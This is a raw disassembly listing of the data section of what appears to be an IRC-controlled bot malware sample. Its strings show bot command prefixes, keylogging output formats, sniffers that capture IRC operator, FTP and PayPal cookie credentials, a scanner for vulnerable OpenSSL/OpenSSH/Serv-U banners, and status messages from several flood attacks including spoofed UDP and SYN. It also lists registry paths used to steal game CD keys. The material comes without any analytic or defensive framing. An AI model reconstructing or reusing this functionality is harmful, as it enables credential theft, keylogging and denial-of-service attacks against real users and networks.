		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_4354E4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_411CF5+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
; char asc_43551C[]
asc_43551C	db '-'                  ; DATA XREF: sub_411C14+AEo
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh,	7325202Dh, 0
; char aDDDDDDS[]
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411C14+88o
		align 4
; char asc_43554C[]
asc_43554C:				; DATA XREF: sub_411C14+2Co
		unicode	0, <\>,0
; char aSReturnS[]
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_411CF5+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_411CF5+1E5o
		align 4
; char aSChangedWindow[]
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_411CF5+8Fo
		align 4
off_435598	dd offset dword_435E10	; DATA XREF: sub_411FD6+2B9r
		dd offset off_435E0C
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
; char a_login[]
a_login		db ':.login',0          ; DATA XREF: sub_411FD6+1DEo
		dd 3 dup(0)
dword_4355BC	dd 0			; DATA XREF: sub_411FD6+2B2r
aLogin_2	db ':,login',0
		dd 4 dup(0)
aLogin_3	db ':!login',0
		dd 4 dup(0)
a@login		db ':@login',0
		dd 4 dup(0)
aLogin_4	db ':$login',0
		dd 4 dup(0)
aLogin_5	db ':%login',0
		dd 4 dup(0)
aLogin_6	db ':^login',0
		dd 4 dup(0)
aLogin_7	db ':&login',0
		dd 4 dup(0)
aLogin_8	db ':*login',0
		dd 4 dup(0)
aLogin_9	db ':-login',0
		dd 4 dup(0)
aLogin_10	db ':+login',0
		dd 4 dup(0)
aLogin_11	db ':/login',0
		dd 4 dup(0)
aLogin_12	db ':\login',0
		dd 4 dup(0)
aLogin_13	db ':=login',0
		dd 4 dup(0)
a?login		db ':?login',0
		dd 4 dup(0)
aLogin_14	db ':',27h,'login',0
		dd 4 dup(0)
aLogin_15	db ':`login',0
		dd 4 dup(0)
aLogin_16	db ':~login',0
		dd 4 dup(0)
aLogin_17	db ': login',0
		dd 4 dup(0)
a_auth		db ':.auth',0
		align 4
		dd 4 dup(0)
aAuth		db ':,auth',0
		align 10h
		dd 4 dup(0)
aAuth_0		db ':!auth',0
		align 4
		dd 4 dup(0)
a@auth		db ':@auth',0
		align 10h
		dd 4 dup(0)
aAuth_1		db ':$auth',0
		align 4
		dd 4 dup(0)
aAuth_2		db ':%auth',0
		align 10h
		dd 4 dup(0)
aAuth_3		db ':^auth',0
		align 4
		dd 4 dup(0)
aAuth_4		db ':&auth',0
		align 10h
		dd 4 dup(0)
aAuth_5		db ':*auth',0
		align 4
		dd 4 dup(0)
aAuth_6		db ':-auth',0
		align 10h
		dd 4 dup(0)
aAuth_7		db ':+auth',0
		align 4
		dd 4 dup(0)
aAuth_8		db ':/auth',0
		align 10h
		dd 4 dup(0)
aAuth_9		db ':\auth',0
		align 4
		dd 4 dup(0)
aAuth_10	db ':=auth',0
		align 10h
		dd 4 dup(0)
a?auth		db ':?auth',0
		align 4
		dd 4 dup(0)
aAuth_11	db ':',27h,'auth',0
		align 10h
		dd 4 dup(0)
aAuth_12	db ':`auth',0
		align 4
		dd 4 dup(0)
aAuth_13	db ':~auth',0
		align 10h
		dd 4 dup(0)
aAuth_14	db ': auth',0
		align 4
		dd 4 dup(0)
a_id		db ':.id',0
		align 10h
		dd 4 dup(0)
aId_0		db ':,id',0
		align 4
		dd 4 dup(0)
aId_1		db ':!id',0
		align 10h
		dd 4 dup(0)
a@id		db ':@id',0
		align 4
		dd 4 dup(0)
aId_2		db ':$id',0
		align 10h
		dd 4 dup(0)
aId_3		db ':%id',0
		align 4
		dd 4 dup(0)
aId_4		db ':^id',0
		align 10h
		dd 4 dup(0)
aId_5		db ':&id',0
		align 4
		dd 4 dup(0)
aId_6		db ':*id',0
		align 10h
		dd 4 dup(0)
aId_7		db ':-id',0
		align 4
		dd 4 dup(0)
aId_8		db ':+id',0
		align 10h
		dd 4 dup(0)
aId_9		db ':/id',0
		align 4
		dd 4 dup(0)
aId_10		db ':\id',0
		align 10h
		dd 4 dup(0)
aId_11		db ':=id',0
		align 4
		dd 4 dup(0)
a?id		db ':?id',0
		align 10h
		dd 4 dup(0)
aId_12		db ':',27h,'id',0
		align 4
		dd 4 dup(0)
aId_13		db ':`id',0
		align 10h
		dd 4 dup(0)
aId_14		db ':~id',0
		align 4
		dd 4 dup(0)
aId_15		db ': id',0
		align 10h
		dd 4 dup(0)
a_hashin_0	db ':.hashin',0
		align 4
		dd 3 dup(0)
aHashin_0	db ':!hashin',0
		align 10h
aHashin_1	db ':$hashin',0
		align 4
		dd 3 dup(0)
aHashin_2	db ':%hashin',0
		align 10h
a_secure	db ':.secure',0
		align 4
		dd 3 dup(0)
aSecure_1	db ':!secure',0
		align 10h
a_l		db ':.l',0
		dd 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
a_syn		db ':.syn',0
		align 4
		dd 4 dup(0)
aSyn_0		db ':!syn',0
		align 10h
		dd 4 dup(0)
aSyn_1		db ':$syn',0
		align 4
		dd 4 dup(0)
aSyn_2		db ':%syn',0
		align 10h
		dd 4 dup(0)
aCdkey		db ' CDKey ',0
		dd 4 dup(0)
aJoin_1		db 'JOIN #',0
		align 10h
		dd 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: .data:004355A4o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: .data:004355A0o
off_435E0C	dd offset dword_435238+11h ; DATA XREF:	.data:0043559Co
dword_435E10	dd 544F42h		; DATA XREF: .data:off_435598o
; char asc_435E14[]
asc_435E14	db '-'                  ; DATA XREF: sub_411FD6+317o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 10h
; char asc_435E40[]
asc_435E40	db '-'                  ; DATA XREF: sub_411FD6+2C6o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
; char asc_435E74[]
asc_435E74	db '-'                  ; DATA XREF: sub_411FD6+24Co
		db 3, 34h, 2
		dd 696E7370h, 3026666h,	2Dh
; char aPsniff_0[]
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_411FD6+235o
		align 10h
; char asc_435E90[]
asc_435E90	db '-'                  ; DATA XREF: sub_411FD6+186o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
; char asc_435EC0[]
asc_435EC0	db '-'                  ; DATA XREF: sub_411FD6+103o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
; char asc_435EEC[]
asc_435EEC	db '-'                  ; DATA XREF: sub_411FD6+85o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
; char aHashin[]
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
; char a_hashin[]
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
; char aIdent_0[]
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
; char a_ident[]
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
; char a_login_1[]
a_login_1	db ':.Login',0          ; DATA XREF: sub_412361+B7o
; char aLogin_1[]
aLogin_1	db ':!Login',0          ; DATA XREF: sub_412361+A6o
; char aLogin_0[]
aLogin_0	db ':!login',0          ; DATA XREF: sub_412361+95o
; char a_login_0[]
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
; char a366[]
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
; char a302[]
a302		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
; char aJoin_0[]
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
; char aPsniff_2[]
aPsniff_2	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
; char aPsniff_1[]
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
; char aBotSniff[]
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
; char aYouAreNowAnIrc[]
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
; char aOper_0[]
aOper_0		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
; char aNick_1[]
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
; char aOper[]
aOper		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
; char aIrcSniff[]
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
; char aPass_0[]
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
; char aUser_2[]
aUser_2		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
; char a230[]
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
; char a220[]
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
; char aFtpSniff[]
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
; char aSetCookie[]
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
; char aPaypal_com_0[]
aPaypal_com_0	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
; char aPaypal_com[]
aPaypal_com	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
; char aPaypal_0[]
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
; char aPaypal[]
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
; char aHttpSniff[]
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
; char aOpenssh_2[]
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
; char aServUFtpServer[]
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
; char aVulnSniff[]
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
; char asc_4360BC[]
asc_4360BC	db '-'                  ; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360F4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_436190[]
asc_436190	db '-'                  ; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 10h
; char asc_4361C0[]
asc_4361C0	db '-'                  ; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
; char asc_4361EC[]
asc_4361EC	db '-'                  ; DATA XREF: sub_412A54+5Eo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
; char asc_436214[]
asc_436214	db '-'                  ; DATA XREF: sub_412B09+302o
		db 3, 34h, 2
		dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
		dd 6425h
; char asc_436230[]
asc_436230	db '-'                  ; DATA XREF: sub_412E9E+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
; char asc_43627C[]
asc_43627C	db '-'                  ; DATA XREF: sub_412E9E+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
; char asc_4362C4[]
asc_4362C4	db '-'                  ; DATA XREF: sub_412E9E+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
; char asc_4362E4[]
asc_4362E4	db '-'                  ; DATA XREF: sub_412E9E+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
; char asc_436314[]
asc_436314	db '-'                  ; DATA XREF: sub_412E9E+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 10h
; char asc_436340[]
asc_436340	db '-'                  ; DATA XREF: sub_413285+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
; char asc_43636C[]
asc_43636C	db '-'                  ; DATA XREF: sub_413285+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
; char asc_436394[]
asc_436394	db '-'                  ; DATA XREF: sub_413411+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 10h
; char asc_4363C0[]
asc_4363C0	db '-'                  ; DATA XREF: sub_413411+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
; char asc_4363E8[]
asc_4363E8	db '-'                  ; DATA XREF: sub_413627+4Bo
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
; char asc_436414[]
asc_436414	db '-'                  ; DATA XREF: sub_4137CD+4Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
; char asc_43643C[]
asc_43643C	db '-'                  ; DATA XREF: sub_41386C+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
; char asc_43645C[]
asc_43645C	db '-'                  ; DATA XREF: sub_413B78+4Fo
		db 3, 34h, 2
		dd 67726174h, 3023361h
aDoneWithFlood_	db '- Done with flood.',0
		align 4
; char asc_43647C[]
asc_43647C	db '-'                  ; DATA XREF: sub_413E36+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
; char asc_4364CC[]
asc_4364CC	db '-'                  ; DATA XREF: sub_413E36+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
; char asc_43651C[]
asc_43651C	db '-'                  ; DATA XREF: sub_413E36+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
; char asc_43653C[]
asc_43653C	db '-'                  ; DATA XREF: sub_413E36+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
; char asc_436574[]
asc_436574	db '-'                  ; DATA XREF: sub_413E36+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
; char asc_4365A8[]
asc_4365A8	db '-'                  ; DATA XREF: sub_4143CC+66o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
; char asc_4365DC[]
asc_4365DC	db '-'                  ; DATA XREF: sub_4146CF+4Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_43661C	db  2Dh	; -		; DATA XREF: sub_414746+345o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
; char asc_4366A8[]
asc_4366A8	db '-'                  ; DATA XREF: sub_414746+2F3o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
; char asc_43670C[]
asc_43670C	db '-'                  ; DATA XREF: sub_414746+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
; char asc_436738[]
asc_436738	db '-'                  ; DATA XREF: sub_414746+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_43677C	db  2Dh	; -		; DATA XREF: sub_414746+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
; char asc_4367CC[]
asc_4367CC	db '-'                  ; DATA XREF: sub_414746+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
; char asc_4367F8[]
asc_4367F8	db '-'                  ; DATA XREF: sub_414A92+60o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
; char aSD[]
aSD		db '%s%d ',0            ; DATA XREF: sub_414C2F+204o
		align 4
; char aD_[]
aD_		db '%d. '               ; DATA XREF: sub_415135+35o
		dd 73253403h, 203D2003h, 73253703h, 3
dword_436840	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436878	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43688C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
; char asc_4368A0[]
asc_4368A0	db '-'                  ; DATA XREF: sub_41528E+DCo
		db 3, 34h, 2
		dd 2676F6Ch, 6C202D03h,	20747369h, 706D6F63h, 6574656Ch
		dd 0
dword_4368BC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_41528E+3Fo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368EC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey_0	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A7Ch, 437A70h,	437A60h, 2 dup(0)
		dd 80000001h, 437A40h, 437A3Ch,	437A28h, 2 dup(0)
		dd 80000001h, 437A04h, 437A3Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 4379CCh,	4379B8h, 2 dup(0)
		dd 80000001h, 4379A4h, 437994h,	437978h, 2 dup(0)
		dd 80000001h, 437934h, 437ABCh,	437920h, 2 dup(0)
		dd 80000002h, 4378F4h, 4378E8h,	4378C8h, 2 dup(0)
		dd 80000002h, 437894h, 437ABCh,	43787Ch, 2 dup(0)
		dd 80000002h, 437848h, 437ABCh,	437830h, 2 dup(0)
		dd 80000002h, 437818h, 437ABCh,	437800h, 2 dup(0)
		dd 80000002h, 4377C4h, 43D808h,	4377B4h, 2 dup(0)
		dd 80000002h, 43777Ch, 43D808h,	437768h, 2 dup(0)
		dd 80000002h, 43771Ch, 43D808h,	4376FCh, 2 dup(0)
		dd 80000002h, 4376ACh, 43D808h,	437680h, 2 dup(0)
		dd 80000002h, 437644h, 43D808h,	437630h, 2 dup(0)
		dd 80000002h, 4375F8h, 43D808h,	4375E8h, 2 dup(0)
		dd 80000002h, 437598h, 43D808h,	43756Ch, 2 dup(0)
		dd 80000002h, 43752Ch, 43D808h,	437510h, 2 dup(0)
		dd 80000002h, 4374E0h, 43D808h,	4374C0h, 2 dup(0)
		dd 80000002h, 437484h, 43D808h,	437470h, 2 dup(0)
		dd 80000002h, 437428h, 43D808h,	437408h, 2 dup(0)
		dd 80000002h, 4373B4h, 43D808h,	437384h, 2 dup(0)
		dd 80000002h, 437334h, 43D808h,	437308h, 2 dup(0)
		dd 80000002h, 4372C8h, 4372C0h,	4372A0h, 2 dup(0)
		dd 80000002h, 43725Ch, 43D808h,	437240h, 2 dup(0)
		dd 80000002h, 4371F4h, 43D808h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 43D808h,	437190h, 2 dup(0)
		dd 80000002h, 43715Ch, 43D808h,	437150h, 2 dup(0)
		dd 80000002h, 43711Ch, 43D808h,	437110h, 2 dup(0)
		dd 80000002h, 4370DCh, 43D808h,	4370D0h, 2 dup(0)
		dd 80000002h, 437094h, 43D808h,	437080h, 2 dup(0)
		dd 80000002h, 437044h, 43D808h,	437030h, 2 dup(0)
		dd 80000002h, 437000h, 437ABCh,	436FE4h, 2 dup(0)
		dd 80000002h, 436FC4h, 436FBCh,	436F98h, 2 dup(0)
		dd 80000002h, 436F7Ch, 436FBCh,	436F5Ch, 2 dup(0)
		dd 80000002h, 436F3Ch, 436FBCh,	436F18h, 2 dup(0)
		dd 80000002h, 436F00h, 436FBCh,	436EFCh, 2 dup(0)
		dd 80000002h, 436EE0h, 436ED0h,	436EC8h, 2 dup(0)
		dd 80000002h, 436E94h, 42C910h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E40h, 436E34h,	436E0Ch, 436DFCh, 436DE8h
		dd 80000002h, 436DC4h, 436DB8h,	436DA4h, 436D94h, 436D8Ch
		dd 80000002h, 436DC4h, 436DB8h,	436D60h, 436D94h, 436D58h
		dd 80000002h, 436DC4h, 436DB8h,	436D28h, 436D94h, 436D20h
		dd 6 dup(0)
aKey3		db 'Key3=',0
		align 4
aNeverwinterNig	db 'Neverwinter Nights (Hordes of the Underdark)',0
		align 4
aKey2		db 'Key2=',0
		align 10h
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
		align 4
aKey1		db 'Key1=',0
		align 4
aNwncdkey_ini	db 'nwncdkey.ini',0
		align 4
aNeverwinterN_1	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aSoftwareIllusi	db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
aSoftwareWest_0	db 'Software\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
aSoftwareWest_1	db 'Software\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
aSoftwareWest_2	db 'Software\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
aSoftwareRedSto	db 'Software\Red Storm Entertainment\RAVENSHIELD',0
